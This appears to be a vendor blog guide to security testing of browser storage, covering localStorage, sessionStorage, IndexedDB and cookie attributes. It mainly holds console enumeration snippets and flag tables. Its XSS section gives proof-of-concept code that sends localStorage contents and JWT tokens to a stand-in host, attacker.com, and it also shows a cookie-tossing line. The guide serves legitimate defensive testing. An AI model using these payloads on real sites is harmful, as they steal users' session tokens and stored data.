Browser Storage Security Testing: localStorage, sessionStorage, IndexedDB, and Cookies

Browser storage is where modern web applications keep state on the client side — session tokens, user preferences, cached API responses, and often much more. The four main mechanisms (localStorage, sessionStorage, IndexedDB, and cookies) each have distinct security properties and distinct failure modes. Misuse of any of them can expose sensitive data to XSS attacks, cross-origin access, or persistent compromise long after a session ends.

This guide covers how to audit and test each storage mechanism systematically.

Storage Mechanisms: Security Properties Compared

Mechanism Scope Persists after close? JS accessible? Sent with requests?
localStorage Origin (scheme + host + port) Yes (indefinitely) Yes (always) No
sessionStorage Origin + tab No (cleared on tab close) Yes (always) No
IndexedDB Origin Yes (indefinitely) Yes (always) No
Cookies (no flags) Domain + path Until expiry Yes (unless HttpOnly) Yes (all requests)
Cookies (HttpOnly) Domain + path Until expiry No Yes (all requests)

The key security implication: localStorage, sessionStorage, and IndexedDB are always readable by any JavaScript running on the same origin. This means any XSS vulnerability — regardless of how it's triggered — can exfiltrate everything in these stores. Cookies with HttpOnly are the only mechanism that XSS cannot directly read.

Testing localStorage and sessionStorage

What to Look For

Open browser DevTools → Application tab → Storage. Enumerate everything stored:

// Enumerate all localStorage keys and values (run in browser console)
for (let i = 0; i < localStorage.length; i++) {
    const key = localStorage.key(i);
    console.log(`${key}: ${localStorage.getItem(key)}`);
}

// Same for sessionStorage
for (let i = 0; i < sessionStorage.length; i++) {
    const key = sessionStorage.key(i);
    console.log(`${key}: ${sessionStorage.getItem(key)}`);
}

Red flags to look for:

XSS Exfiltration Proof of Concept

When testing for XSS, add a localStorage exfiltration payload to demonstrate impact:

// Exfiltrate all localStorage data via XSS
fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(Object.fromEntries(
        Object.keys(localStorage).map(k => [k, localStorage.getItem(k)])
    ))
});

// Specifically target JWT tokens
const jwt = localStorage.getItem('token')
    || localStorage.getItem('access_token')
    || localStorage.getItem('jwt')
    || localStorage.getItem('auth_token');
if (jwt) {
    new Image().src = `https://attacker.com/?t=${encodeURIComponent(jwt)}`;
}

Testing for Sensitive Data Persistence

sessionStorage is often misunderstood as "more secure" because it clears on tab close. Test whether this actually provides protection:

Testing IndexedDB

IndexedDB is a full client-side database — it can store structured data, blobs, and arbitrary objects. Developers often use it for offline caching, which means sensitive API responses can persist indefinitely on disk.

// Enumerate IndexedDB databases (browser console)
const dbs = await window.indexedDB.databases();
console.log(dbs);

// Open and read a specific database
const request = indexedDB.open('myapp-cache');
request.onsuccess = function(e) {
    const db = e.target.result;
    console.log('Object stores:', Array.from(db.objectStoreNames));

    const tx = db.transaction(db.objectStoreNames[0], 'readonly');
    const store = tx.objectStore(db.objectStoreNames[0]);
    store.getAll().onsuccess = e => console.log(e.target.result);
};

What to check in IndexedDB:

Testing Data Clearance on Logout

A common finding: sensitive data persists in client storage after logout, leaving it accessible to the next person who uses the device.

// Before logout: note all storage contents
// Run in browser console
const before = {
    localStorage: {...localStorage},
    sessionStorage: {...sessionStorage}
};

// Click logout in the application

// After logout: check what remains
const after = {
    localStorage: {...localStorage},
    sessionStorage: {...sessionStorage}
};

// Find keys that survived logout
const survived = Object.keys(before.localStorage)
    .filter(k => after.localStorage[k]);
console.log('Survived logout:', survived);

Cookie Security Testing

Cookies have a richer security model than localStorage. The relevant security attributes:

Attribute Effect Missing = risk
HttpOnly Blocks JavaScript access (document.cookie) Session token readable by XSS
Secure Only sent over HTTPS Cookie sent over HTTP, interceptable on network
SameSite=Strict Not sent on cross-site requests CSRF vulnerability
SameSite=Lax Sent on top-level navigation GET only Some CSRF vectors remain
SameSite=None; Secure Sent cross-site (required for embeds) N/A (intentional for third-party cookies)
Domain Sent to all subdomains if set Subdomain takeover can steal cookies
__Host- prefix Forces Secure, no Domain attribute, path=/ Without it: cookie scope is wider than intended
__Secure- prefix Forces Secure flag Without it: cookie can be set without Secure

Auditing Cookie Flags with Burp Suite

# In Burp Suite:
# 1. Proxy > HTTP history — filter for Set-Cookie headers
# 2. Scanner > Run active scan — checks for missing HttpOnly/Secure
# 3. Or use the passive scanner — flags cookies without security attributes

# Manual check: grep for Set-Cookie in responses
grep -i "set-cookie" burp_export.xml

# Check for session cookies specifically
# Look for: session, token, auth, sid, JSESSIONID, PHPSESSID, .ASPXAUTH, _session
# These MUST have HttpOnly and Secure

# Test cookie scope: is the Domain attribute set?
# Set-Cookie: session=abc123; Domain=.example.com; ...
# This sends the cookie to ALL subdomains — risk if any subdomain is compromised

Cookie Injection via Subdomain

If a session cookie has Domain=.example.com (note the leading dot — sent to all subdomains), and any subdomain is vulnerable to XSS or subdomain takeover, that subdomain can overwrite or read the session cookie.

Cookie Tossing Attack

Browsers accept cookies with the Domain attribute set to a parent domain or sibling subdomain. An attacker who controls evil.example.com can set a cookie for .example.com, potentially overwriting a legitimate session cookie or injecting a forged CSRF token.

// From evil.example.com — toss a cookie onto example.com
document.cookie = "csrf_token=attacker_controlled; Domain=.example.com; Path=/";

// This can override the legitimate CSRF token on the main domain
// Test: set a cookie via a subdomain and observe if main domain reads it

Storage Isolation Testing

Cross-Origin Storage Access

localStorage and sessionStorage are origin-isolated — a page on evil.com cannot read app.com's storage. But there are edge cases:

Testing postMessage Storage Bridges

// Test if the application has a postMessage handler that exposes storage
// From attacker.com (or browser console on any origin):
window.open('https://target.com');
// Then, in the opened window's context:
// window.postMessage({action: 'getToken'}, '*');

// Look for message listeners that respond to cross-origin messages
// In target.com's source:
window.addEventListener('message', function(e) {
    // Does this validate e.origin?
    // Does it return localStorage data to any origin?
});

Browser Storage Security Testing Checklist

Ironimo scans for insecure cookie configurations, client-side storage misuse, and XSS vulnerabilities that expose browser storage — using Kali Linux-grade scanning on demand.

Start free scan
← Back to Blog